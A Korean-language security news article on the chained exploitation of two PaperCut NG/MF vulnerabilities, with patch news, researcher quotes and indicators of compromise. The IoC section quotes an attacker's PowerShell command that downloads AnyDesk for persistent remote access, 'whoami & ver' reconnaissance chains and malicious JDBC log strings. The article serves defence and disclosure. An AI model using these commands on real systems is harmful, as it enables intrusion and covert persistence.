공격자들, PaperCut 취약점 두 개를 연결해 인증 없이 코드 실행

악의적인 공격자들이 PaperCut NG와 MF의 새로 패치된 보안 결함을 악용해 취약한 인스턴스에서 임의 코드를 실행하고 있으며, 이에 대응해 PaperCut은 추가 강화 조치를 포함한 새로운 긴급 패치를 발표했습니다.

"이 취약점은 인증되지 않은 공격자가 PaperCut의 신뢰할 수 있는 구성에 원격으로 접근할 수 있게 해주며, 이를 통해 애플리케이션 프로세스 내에서 임의의 Java 코드를 실행하는 데 악용될 수 있습니다." — Huntress 연구원 John Hammond, Andrew Brandt

구체적으로, 공격자는 인증되지 않은 요청을 활용해 서버 구성을 변경하고 궁극적으로 코드 실행을 달성할 수 있습니다. Huntress는 이 결함을 다음과 같이 설명했습니다 -

패치되지 않은 버전의 PaperCut NG 및 PaperCut MF에서, 특별히 조작된 요청이 응답으로 렌더링되는 한 페이지와 실행 중인 컴포넌트 또는 액션을 소유한 다른 페이지를 참조할 수 있습니다.

PaperCut의 인가 검사는 렌더링된 페이지를 신뢰하면서 그 뒤에 있는 컴포넌트가 요구하는 권한 확인을 놓칠 수 있습니다. 인증되지 않은 요청이 이런 방식으로 활용되어 서버 구성을 변경할 수 있음을 발견했습니다. 이를 통해 안전하지 않은 동작을 유발할 수 있는 민감한 엔드포인트에 접근이 가능해지고, 결국 악의적인 행위자가 공격자 통제 코드를 임의로 실행할 수 있게 됩니다.

PaperCut은 이후 두 가지 결함을 공개했습니다 -

• CVE-2026-82078 (CVSS 점수: 9.4) - PaperCut MF 및 PaperCut NG의 데이터베이스 연결 유틸리티에 안전하지 않은 동적 클래스 로딩 취약점이 존재합니다. 애플리케이션이 승인된 드라이버 허용 목록에 대한 검증 없이 구성 가능한 드라이버 이름을 기반으로 데이터베이스 드라이버 클래스를 인스턴스화합니다.
• CVE-2026-81578 (CVSS 점수: 8.8) - PaperCut MF 및 PaperCut NG의 웹 관리 인터페이스에 부적절한 접근 통제 취약점이 존재합니다. 특정 조건에서 관리 기능을 대상으로 하는 인증되지 않은 원격 요청이 접근 검증 확인 완료 이전에 백엔드 동작을 트리거할 수 있습니다.

이번 사태는 PaperCut이 v24, v25, v26을 위한 두 번째 긴급 패치를 배포하면서 전개됐으며, 이 패치에는 "최초 긴급 패치 이상의 추가 강화 조치"가 포함되어 있다고 밝혔습니다. 호주 기업 PaperCut은 해당 결함을 무기화하는 악의적 활동의 성격에 대한 세부 정보는 아직 공유하지 않았습니다.

다만, 해당 활동과 관련된 추가 침해 지표(IoC)를 공유했습니다 -

• "server.log"에서 다음 문자열이 발견되는 경우 - DB URL: jdbc:derby:memory:pwn;create=true Database error looking up cardID: VALUES CAST(X'cafebabe Database error looking up cardID: VALUES CAST(' DB URL: jdbc:no:x DB Driver: <5자리 임의 이름>
• 디스크에 기록된 다음 파일이 발견되는 경우 - <설치경로>\server\lib\<5자리 이름>.class <설치경로>\server\data\content\<5자리 이름>.cmd <설치경로>\server\data\content\<5자리 이름>.out

PaperCut은 악의적 활동이 진행되면서 이러한 파일들이 공격자에 의해 삭제될 수 있으며, 파일이 없다고 해서 침해가 없음을 의미하지는 않는다고 경고했습니다. 관찰된 다른 행동에는 다음이 포함됩니다 -

• pc-app.exe(또는 pc-app) 프로세스가 자식 셸 프로세스(cmd.exe)를 실행하고 "whoami & ver" 명령을 구동
• Windows 서비스를 통해 SimpleHelp와 관련된 바이너리("SimpleService.exe")가 실행되며, 해당 파일은 경로 "C:\ProgramData\JWrapper-Remote Access\JWAppsSharedConfig\restricted"에 위치
• PowerShell 명령을 통한 지속적인 원격 접근을 위한 AnyDesk 설치: powershell Invoke-WebRequest -Uri hxxps://download[.]anydesk[.]com/AnyDesk.exe -OutFile C:\ProgramData\AnyDesk.exe

"현재 위협 행위자의 궁극적인 목표를 확인할 충분한 증거가 없습니다. 관찰된 내용을 바탕으로 할 때, 해당 활동은 피해자의 사용자 계정 및 운영 체제 식별을 포함한 초기 단계의 정찰 또는 검증과 일치하는 것으로 보입니다." — Huntress 수석 보안 연구원 John Hammond

선제적 노출 관리 전문 기업 watchTowr에 따르면, 공격자들은 두 취약점을 연결(체이닝)해 인증을 우회하고 영향받는 인스턴스에서 원격 코드 실행을 달성하고 있습니다.

"CVE-2026-81578을 통해 인증을 우회할 수 있으며, 그 다음으로 구성 파일을 편집해 CVE-2026-82078을 익스플로잇(취약점 악용)하고 원격 코드 실행을 달성할 수 있습니다." — watchTowr 위협 인텔리전스 책임자 Jake Knott

이 사이버보안 기업은 또한 여러 패치 우회 경로와 추가 인증 우회 취약점을 발견했으며, 그 중 한 가지 패치 우회는 두 번째 긴급 패치에서 수정되었다고 밝혔습니다. 다만, 최신 완전 패치 버전에도 영향을 주는 새로운 패치 우회 경로가 확인됐습니다.

Huntress도 첫 번째 긴급 패치 세트에 대한 우회 경로를 신고했으며, "두 번째 긴급 패치 세트를 분석한 결과, 우리가 이해하는 공격 체인의 일부를 수정하는 보안 개선 사항이 있음을 확인했습니다"라고 밝혔습니다.

Huntress는 두 곳의 고객 환경에서 제한적인 익스플로잇을 관찰했으며, 공격자들이 사후 침투 활동의 일환으로 연결된 명령어 "whoami & ver"을 사용해 사용자 계정 및 운영 체제를 확인하기 위해 Base64로 인코딩된 명령어를 대상 서버에서 실행하고 있음을 확인했습니다.

공격의 일환으로 배포된 것은 운영 체제에 무관하게 동작하는 Java .class 파일로, Linux 및 Windows 시스템 모두에서 명령을 실행해 시스템을 핑거프린팅(식별)하고 컴퓨터에 저장된 파일의 디렉토리 목록을 얻을 수 있습니다. 데이터는 프로그램 설치 디렉토리를 기준으로 "/data/content/" 경로에 있는 "Udydn.out"이라는 파일에 기록됩니다.

이 단계가 완료되면, .class 파일은 "Udydn.out", 서버의 "server.log" 파일, 그리고 "/data/internal/derby.log" 파일을 삭제합니다.

2026년 8월 27일에 기록된 또 다른 사건에서는 위협 행위자들이 실행 중인 프로세스 목록도 수집하기 위해 명령어를 수정한 다른 버전의 .class 파일을 사용한 것으로 전해집니다: "whoami & ver & tasklist"

환경에 PaperCut NG 및 MF를 보유한 조직은 즉시 공개 노출을 제거하고 가능한 빨리 패치를 적용할 것을 권고합니다. 또한 PaperCut 애플리케이션 서버의 웹 접근을 신뢰할 수 있는 IP 주소로 제한하거나 VPN 또는 다른 통제된 관리 경로 뒤에 배치하는 것이 권장됩니다.

"PaperCut은 모든 동기의 공격자에게 주요 표적이 됩니다. 기업 환경으로 진입하는 인터넷에 연결된 피벗 포인트일 뿐 아니라, 인쇄된 문서가 저장 및 유출될 수 있다면 민감한 정보의 보고이기도 합니다." — watchTowr Jake Knott

"인터넷에 노출된 취약한 PaperCut 인스턴스를 보유한 조직은 가능한 경우 공개 인터넷 접근을 제거하고, 로그 파일에서 'Database error looking up cardID: VALUES CAST' 오류를 찾는 등 침해 징후를 헌팅(탐색)하기 시작해야 합니다."

업데이트

8월 31일에 공유된 업데이트에서 watchTowr는 취약한 시스템을 식별하기 위한 탐색적 프로브에서 침해된 시스템에 대한 핸즈온 키보드(hands-on-keyboard, 공격자가 직접 키보드로 명령을 실행하는) 상호작용과 결합된 실제 익스플로잇으로 공격 활동이 전환되는 것을 관찰했다고 밝혔습니다.

"이 활동의 일환으로, 정교함 측면에서 '평균 이상'(기준 자체가 여전히 매우 낮지만)으로 보인다는 점이 주목할 만하며, 일부는 순전히 외부에서 내부 네트워크 피벗을 가능하게 하고 공격을 계속하기 위해 설계된 것으로 보입니다." — watchTowr Jake Knott

"공격자들은 늘 그렇듯이 이기적입니다. 배포된 인메모리 페이로드에 대한 접근을 자신들만 가능하도록 키잉(keying)해 침해된 호스트에 계속 접근하고 추가 공격을 이어갈 수 있도록 하고 있습니다. 이러한 행동은 초기 접근 브로커(IAB) 및 더 공격적인 목표를 가진 운영자들의 특성을 반영합니다."

watchTowr는 최근 며칠 내에 PaperCut 시스템을 인터넷에 노출시킨 조직들에게 새로운 공격자의 진입을 막기 위해 패치를 적용하고, 이미 침해된 것으로 간주해 기존 공격자를 완전히 제거하기 위한 인시던트 대응 절차를 즉시 시작할 것을 권고하고 있습니다.

지속되는 익스플로잇 활동으로 인해 미국 사이버보안 및 인프라 보안국(CISA)은 두 결함 모두를 실제 악용 취약점(KEV) 카탈로그에 추가했으며, 연방 민간 행정부(FCEB) 기관들에게 2026년 9월 14일까지 패치를 적용하도록 요구했습니다.

PaperCut, 긴급 패치 릴리즈 3 발표

PaperCut은 이전 업데이트를 대체하는 긴급 패치 릴리즈 3을 발표했으며, 두 가지 회귀(regression) 문제를 해결하고 잠재적인 공격 체인에 대한 추가 강화 및 완화 조치를 추가했습니다. 두 가지 회귀 문제는 SAML 로그인 플로우 오류 및 외부 카드 조회를 위한 레거시 Microsoft SQL Server 드라이버 지원 복원과 관련이 있습니다.

"이전 긴급 릴리즈를 이미 적용한 경우에도, 인터넷에 노출된 애플리케이션 서버를 보유한 모든 고객은 가능한 빨리 릴리즈 3을 설치할 것을 권장합니다." — PaperCut

(이 기사는 Huntress와 watchTowr의 추가 인사이트를 포함하기 위해 게재 후 업데이트되었습니다.)